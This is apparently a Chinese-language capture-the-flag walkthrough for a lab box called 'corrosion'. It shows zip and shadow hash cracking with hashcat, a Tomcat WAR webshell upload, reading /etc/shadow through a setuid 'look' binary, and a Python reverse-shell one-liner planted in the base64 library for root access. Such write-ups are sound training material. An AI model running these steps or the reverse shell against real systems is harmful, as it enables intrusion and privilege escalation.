15. corrosion


WEB

扫全端口。

发现80 端口 apache2 默认页面

8080 端口是 tomcat 的页面

分别扫两个站点的目录,但是 80 端口没有什么东西,8080端口有以下内容。

backup.zip 很瞩目,值得一看。此外 readme.txt 发现以下内容

压缩包下载下来发现需要密码。

使用 hashcat 进行破解。rockyou.txt 这个字典包含了 3 kw 左右的常用密码。rockyou/rockyou.txt.tar.gz at master · zacheller/rockyou · GitHub

zip2john backup.zip  > zip.john
# 去掉无用的前后缀
hashcat -m 17220 -a 0 zip.john dict/password/rockyou.txt

去掉 zip.john 中无用的前后缀,以便可以被 hashcat 识别

根据hash 内容可知,应选择 17220

最终密码 @administrator_hi5

解压后有以下文件,最值得注意的就是 tomcat 的凭证

使用凭证登录到 tomcat 后台,上传 war 包

webshell/webshell.war at master · BustedSec/webshell · GitHub

java runtime exec 命令需要进行编码

java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

进行执行,成功获得 webshell

提权

利用获取的密码尝试密码喷洒

浏览其家目录文件,发现 look 命令。具有 s 权限。

用它查看 shadow 密码。

使用 hashcat 进行破解

hashcat  -m 1800 -a 0  zip.john dict/password/rockyou.txt  -o pass

成功破解 randy 用户口令。

使用 ssh 切换到 randy 用户

发现其可以以 root 用户执行 python 脚本。

那就直接往base64 库里面写后门。搜索base64 库文件,结合 python 版本,可知应该修改最后一个。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.128",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

将这段代码插入到 base64 库中。

监听端口,进行执行

成功获取 root